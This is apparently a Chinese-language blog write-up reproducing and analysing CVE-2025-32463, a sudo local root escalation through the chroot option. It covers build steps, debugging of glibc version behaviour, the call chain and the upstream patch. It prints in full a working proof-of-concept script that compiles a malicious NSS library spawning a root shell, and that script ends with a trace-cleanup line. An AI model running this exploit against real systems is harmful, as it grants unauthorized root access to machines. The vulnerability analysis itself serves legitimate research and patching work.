尝试复现并分析调试今年的一个 sudo 本地提权漏洞。
该漏洞描述如下:

Sudo before 1.9.17p1 allows local users to obtain root access because /etc/nsswitch.conf from a user-controlled directory is used with the –chroot option.

环境搭建

建议环境 glibc 版本 > 2.35,否则无法复现。
git clone sudo 的源码:

1
2
3
git clone https://github.com/sudo-project/sudo.git
cd sudo
git checkout v1.9.16p2

编译:

1
2
3
./configure
make -j$(nproc)
sudo make install

make install 会安装到 /usr/local/bin ,先将原来的 /usr/bin/sudo 重命名一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/bin/bash
# sudo-chwoot.sh
# CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch
# @ Stratascale Cyber Research Unit (CRU)
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1

cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void woot(void) {
setreuid(0,0);
setregid(0,0);
chdir("/");
execl("/bin/bash", "/bin/bash", NULL);
}
EOF

mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?} ##清理痕迹

分为三部分:

  • 创建 woot/etc 目录并填充内容 woot/etc/nsswitch.conf 以及 /etc/group;
  • 编译 woot1337.c 为恶意共享库,令后续 sudo 运行时加载该库;
  • sudo -R 触发

运行网上的 exp.sh,没成功 XD。

1
2
3
4
5
eutopia@eutopia-ubuntu22 ~/Vulns/Linux_Kernel/cve-2025-32463
base ❯ sudo -R woot woot
Sorry, try again.
Sorry, try again.
sudo: 3 incorrect password attempts

调试复现

调试发现是在 resolve_cmnd 函数内 nss_database_check_reload_and_get 函数逻辑在 427 行增加了 check 逻辑。这里如果发现 local 与 str 的变量的ino不同,则设置 reload 为 false。

glibc 2.35版本源码:

在glibc 2.39中则将该check逻辑放入 if (local->data.services[database_index] != NULL)中包裹。由于刚好我们这个漏洞触发路径上 local->data.services[database_index] == NULL,所以能够绕过该检查机制:

更换环境为 Ubuntu 24.04,验证成功

原理分析

具体流程为:

  • 设置 chroot 后 runchroot 变为非空,执行 pivot_root 函数进行 chroot;
  • 执行 resolve_cmnd 函数解析命令地址;
  • unpivot_root 恢复根路径
    问题出在 resolve_cmnd 函数中会调用 SetPerms 函数,其会调用 getgrouplist 函数,从而触发重载 /etc/nsswitch.conf 逻辑,此时已进行 chroot,所以会加载恶意构造的 nsswitch.conf 文件。
    然后在上面源码中有一个很 trick 的点:
    其实就是为什么会在 pivot_root 后会重载 nsswitch.conf,但是在 unpivot_root 后就没有进行重载。
    第一部分上面已经有分析;第二部分是因为在 unpivot_root 后其 local->data.services[database_index] != NULL(此时database_index = 2),然后且 local->root_ino 与 str 的不一致导致设置 local->data.reload_disabled 为1,从而不会再重载。

然后就是在哪里加载的恶意 so 库,nsswitch.conf 设置了 passwd: /woot1337 该名称可以用作库的路径的一部分,即:libnss_/woot1337.so.2.so:
调用链如下:

1
2
3
4
5
6
7
8
policy_check -> sudoers_policy_check -> sudoers_check_cmnd
-> sudoers_check_common
-> set_cmnd_path
-> check_user -> sudo_auth_init -> sudo_passwd_init -> sudo_setspent -> setspent
-> setup -> module_load



setspent函数用于打开 shadows 文件。
在 module_load 中会加载so库。

patch

其 patch 代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
--- sudo-1.9.17/plugins/sudoers/sudoers.c       2025-06-12 12:12:38.000000000 -0500
+++ sudo/plugins/sudoers/sudoers.c 2025-06-10 11:27:57.493871502 -0500
@@ -1080,7 +1080,6 @@
int
set_cmnd_path(struct sudoers_context *ctx, const char *runchroot)
{
- struct sudoers_pivot pivot_state = SUDOERS_PIVOT_INITIALIZER;
const char *cmnd_in;
char *cmnd_out = NULL;
char *path = ctx->user.path;
@@ -1099,13 +1098,7 @@
if (def_secure_path && !user_is_exempt(ctx))
path = def_secure_path;

- /* Pivot root. */
- if (runchroot != NULL) {
- if (!pivot_root(runchroot, &pivot_state))
- goto error;
- }
-
- ret = resolve_cmnd(ctx, cmnd_in, &cmnd_out, path);
+ ret = resolve_cmnd(ctx, cmnd_in, &cmnd_out, path, runchroot);
if (ret == FOUND) {
char *slash = strrchr(cmnd_out, '/');
if (slash != NULL) {
@@ -1122,14 +1115,8 @@
else
ctx->user.cmnd = cmnd_out;

- /* Restore root. */
- if (runchroot != NULL)
- (void)unpivot_root(&pivot_state);
-
debug_return_int(ret);
error:
- if (runchroot != NULL)
- (void)unpivot_root(&pivot_state);
free(cmnd_out);
debug_return_int(NOT_FOUND_ERROR);
}


直接简单粗暴删除了 pivot_root 逻辑。

参考链接